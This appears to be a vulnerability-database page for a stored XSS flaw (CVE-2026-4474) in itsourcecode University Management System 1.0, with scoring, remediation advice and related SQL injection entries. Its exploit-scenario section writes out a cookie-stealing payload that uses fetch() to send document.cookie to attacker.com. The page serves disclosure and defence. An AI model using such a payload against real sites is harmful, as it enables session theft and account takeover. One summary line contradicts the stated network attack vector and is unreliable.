EUVD-2026-13590Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A03:2021 - Injection
ASVS 5.0
V5 - Validation, Sanitization and Encoding Input validation, output encoding, parameterized queries
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | Despite the CVSS base score of 2.4, which appears low, the real-world risk is moderate due to several aggravating factors. The vulnerability requires high administrative privileges to trigger (PR:H), which significantly constrains the attack surface and explains the low CVSS severity. However, the public disclosure of a working exploit (evidenced by the GitHub reference) elevates exploitation probability substantially. The XSS impact is limited to integrity (I:L) with no confidentiality or availability impact under the CVSS model, but in practice, authenticated XSS can facilitate lateral privilege escalation or abuse of administrator functionality. The vulnerability's automatable nature (standard HTTP parameter injection) and the existence of published proof-of-concept code should trigger prioritization for organizations running this software, particularly in educational institutions managing sensitive student data. This is a legitimate priority for affected deployments, not a false alarm despite modest CVSS metrics. |
| Exploit ScenarioDerived | An authenticated administrator with access to the student management interface navigates to the update student record page and injects a malicious JavaScript payload into the st_name field, such as <img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'>, then saves the record. When another administrator or the system displays the student list or record details, the injected script executes in their browser, exfiltrating their session cookie to the attacker's server, allowing account takeover. The publicly available proof-of-concept on GitHub accelerates exploitation by providing ready-made payloads and step-by-step instructions. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 20, 2026
A stored cross-site scripting (XSS) vulnerability exists in itsourcecode University Management System version 1.0 within the /admin_single_student_update.php file, where the st_name parameter fails to properly sanitize user input. An authenticated administrator with high privileges can inject malicious scripts that execute in the context of other users' browsers, potentially leading to session hijacking, credential theft, or unauthorized administrative actions. A proof-of-concept exploit has been publicly disclosed on GitHub, increasing real-world exploitation risk despite the low CVSS score of 2.4.
RemediationAI
Immediately contact itsourcecode to determine patch availability for University Management System 1.0; if no patch is available, evaluate migration to an actively maintained alternative. As interim mitigation, restrict access to the /admin_single_student_update.php endpoint to a whitelist of trusted administrative IP addresses using firewall or reverse proxy rules, and implement a Web Application Firewall (WAF) with XSS detection rules to filter malicious payloads in the st_name parameter. Additionally, enforce Content Security Policy (CSP) headers with strict script-src directives to prevent inline script execution, and ensure all administrator accounts use strong, unique credentials with multi-factor authentication to reduce the risk of account compromise. Monitor administrative activity logs for suspicious parameter values or session anomalies.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a CWE-79 (Improper Neutralization of Input During Web Page Generation) cross-site scripting flaw in a PHP-based web application. The flaw occurs in the student record update functionality where the st_name parameter is reflected or stored without proper HTML encoding or input validation before being rendered in the HTML response. This is a classic reflected or stored XSS vulnerability common in legacy PHP applications that predate modern security frameworks and automated output encoding. The attack vector is network-based with low complexity (AV:N/AC:L), meaning an attacker can exploit this remotely through standard HTTP requests, but requires high privilege level (PR:H) to access the administrative interface where the vulnerable parameter is processed.
Know when University Management System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
A flaw has been found in itsourcecode University Management System 1.0. Impacted is an unknown function of the file /admin_single_student_update.php. This manipulation of the argument st_name causes cross site scripting. The attack may be initiated remotely. The exploit has been published and may be used.
Executive ViewAI
CVE-2026-4474 is a low-severity vulnerability in A flaw involving cross-site scripting (CVSS 2.4). The limited severity suggests constrained impact, typically requiring specific conditions or local access for exploitation. Apply vendor updates when available as part of routine maintenance.
Apply vendor patch during routine maintenance. Standard cross-site scripting mitigations apply if patching is delayed.
Threat Intelligence Overview
NVD
CVE.org
EPSS
GitHub
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in itsourcecode Management Systems SQL Injection
View all 2More in University Management System
View allA vulnerability classified as critical has been found in itsourcecode University Management System 1.0. Rated medium sev
A vulnerability classified as problematic was found in CodeAstro University Management System 1.0. Rated medium severity
SQL injection in itsourcecode University Management System 1.0 via the ID parameter in /admin_single_student.php allows
SQL injection in itsourcecode University Management System 1.0 via the ID parameter in /admin_single_student_update.php
SQL injection in itsourcecode University Management System 1.0 via the Name parameter in /att_add.php enables unauthenti
SQL injection in itsourcecode University Management System 1.0 via the dt parameter in /att_single_view.php enables remo
SQL injection in itsourcecode University Management System 1.0 via the seme parameter in /view_result.php allows unauthe
SQL injection in itsourcecode University Management System 1.0 via the subject parameter in /add_result.php enables remo
SQL injection in itsourcecode University Management System 1.0 allows remote attackers to manipulate the admin_search_st
A vulnerability classified as critical was found in itsourcecode University Management System 1.0. Rated medium severity
A vulnerability was found in itsourcecode University Management System 1.0. Rated medium severity (CVSS 5.3), this vulne
A vulnerability has been found in itsourcecode University Management System 1.0 and classified as critical. Rated medium
Exploit-DB